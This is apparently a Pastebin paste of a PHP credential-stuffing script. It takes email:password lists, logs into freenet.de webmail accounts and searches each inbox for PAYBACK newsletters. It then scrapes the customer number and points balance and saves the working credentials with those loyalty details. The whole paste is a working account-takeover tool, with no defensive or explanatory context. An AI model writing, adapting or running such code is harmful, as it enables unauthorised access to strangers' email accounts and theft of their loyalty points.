Advertisement
Guest User

Untitled

a guest
Jul 25th, 2016
979
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.90 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4.  
  5. function login($mail, $pass) {
  6. unlink("cookies");
  7.  
  8. $ch = curl_init("https://auth.freenet.de/portal/login.php");
  9.  
  10. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  11. curl_setopt($ch, CURLOPT_POST, 1);
  12. curl_setopt($ch, CURLOPT_POSTFIELDS,
  13. "username=$mail&password=$pass&passtext=Passwort&world=2&cbi=logMail&callback=https%3A%2F%2Fwebmail.freenet.de%2Flogin%2Findex.html");
  14. curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies");
  15. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13");
  16. curl_setopt($ch, CURLOPT_HEADER, 1);
  17.  
  18. curl_exec($ch);
  19. curl_close($ch);
  20.  
  21. if(file_get_contents("cookies") == "") {
  22. return "INVALID";
  23. } else {
  24. return "OK";
  25. }
  26. }
  27.  
  28. function getCookies() {
  29. $cookies = file_get_contents("cookies");
  30. unlink("cookies2");
  31.  
  32. $ch = curl_init("https://webmail.freenet.de/login/index.html");
  33.  
  34. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  35. curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies");
  36. curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies2");
  37. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13");
  38. curl_setopt($ch, CURLOPT_HEADER, 1);
  39.  
  40. curl_exec($ch);
  41. curl_close($ch);
  42.  
  43. if(file_get_contents("cookies2") == "") {
  44. return "INVALID";
  45. } else {
  46. return "OK";
  47. }
  48. }
  49.  
  50. function searchEmail($mail) {
  51. $ch = curl_init("https://webmail.freenet.de/Email/Action/SearchMessages");
  52.  
  53. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  54. curl_setopt($ch, CURLOPT_POST, 1);
  55. curl_setopt($ch, CURLOPT_POSTFIELDS,
  56. "account=$mail&folder=ALL&startview=1&callType=ajax&searchStr=newsletter@payback.de&searchOpts=subjectAndFrom&viewType=0");
  57. curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies2");
  58. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13");
  59.  
  60. $res = curl_exec($ch);
  61. curl_close($ch);
  62.  
  63. if(preg_match("/noResult/", $res)) {
  64. return "INVALID";
  65. }
  66.  
  67. $json = json_decode($res, TRUE);
  68. if(isset($json["tbody"][0]["rowID"])) {
  69. return $json["tbody"][0]["rowID"];
  70. }
  71.  
  72. return "INVALID";
  73. }
  74.  
  75. function scrapeInfo($mail, $id) {
  76. $ch = curl_init("https://webmail.freenet.de/Email/View/Body?callType=html&account=$mail&xTdResult=&msg=$id&folder=INBOX&showImages=0&inboxAdId=0");
  77.  
  78. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  79. curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies2");
  80. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13");
  81.  
  82. $res = curl_exec($ch);
  83. curl_close($ch);
  84.  
  85. preg_match("/>Ihre PAYBACK Kundennummer: (\d+)(<\/span>|)<\/td>/", $res, $nummer);
  86. preg_match("/color: #fff;\".*>(\d+([,.]\d+)?)<\/td>/", $res, $punkte);
  87.  
  88. return array($nummer[1], $punkte[1]);
  89. }
  90.  
  91. $file = fopen("mails.txt", "r");
  92. $valid = 0;
  93. $invalid = 0;
  94. $countTotal = 0;
  95.  
  96. while(!feof($file)) {
  97. $mailInfo = explode(":", fgets($file));
  98. $mail = $mailInfo[0];
  99. $pass = rtrim($mailInfo[1]);
  100. $login = login($mail, $pass);
  101.  
  102. $count++;
  103.  
  104. if($login == "OK") {
  105. $cookies = getCookies();
  106. if($cookies == "OK") {
  107. $emailID = searchEmail($mail);
  108. if($emailID != "INVALID") {
  109. $info = scrapeInfo($mail, $emailID);
  110. $nummer = $info[0];
  111. $punkte = $info[1];
  112. if(($nummer != "") && ($punkte != "")) {
  113. file_put_contents("success.txt", $mail.":".$pass.":".$nummer.":".$punkte."\r\n", FILE_APPEND);
  114. echo $count." -- Account found! -> ".$mail.":".$pass.":".$nummer.":".$punkte."\n";
  115. $valid++;
  116. } else {
  117. if(($nummer == "") && ($punkte == "")) {
  118. file_put_contents("noemails.txt", $mail.":".$pass."\r\n", FILE_APPEND);
  119. echo $count." -- Account has no emails from payback! -> ".$mail.":".$pass."\n";
  120. $invalid++;
  121. } else {
  122. file_put_contents("readerror.txt", $mail.":".$pass.":".$nummer.":".$punkte."\r\n", FILE_APPEND);
  123. echo $count." -- Failed to read the points/acc id! -> ".$mail.":".$pass.":".$nummer.":".$punkte."\n";
  124. $invalid++;
  125. }
  126. }
  127. unlink("cookies");
  128. unlink("cookies2");
  129. } else {
  130. file_put_contents("noemails.txt", $mail.":".$pass."\r\n", FILE_APPEND);
  131. echo $count." -- Account has no emails from payback! -> ".$mail.":".$pass."\n";
  132. unlink("cookies");
  133. unlink("cookies2");
  134. $invalid++;
  135. }
  136. } else {
  137. file_put_contents("loginfail.txt", $mail.":".$pass."\r\n", FILE_APPEND);
  138. echo $count." -- Account LOGIN fail! -> ".$mail.":".$pass."\n";
  139. $invalid++;
  140. unlink("cookies");
  141. unlink("cookies2");
  142. }
  143. } else {
  144. file_put_contents("loginfail.txt", $mail.":".$pass."\r\n", FILE_APPEND);
  145. echo $count." -- Account LOGIN fail! -> ".$mail.":".$pass."\n";
  146. $invalid++;
  147. unlink("cookies");
  148. unlink("cookies2");
  149. unlink("cookies");
  150. unlink("cookies2");
  151. }
  152. }
  153.  
  154. fclose($file);
  155.  
  156. echo "Done!\nValid: ".$valid."\nInvalid: ".$invalid."\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement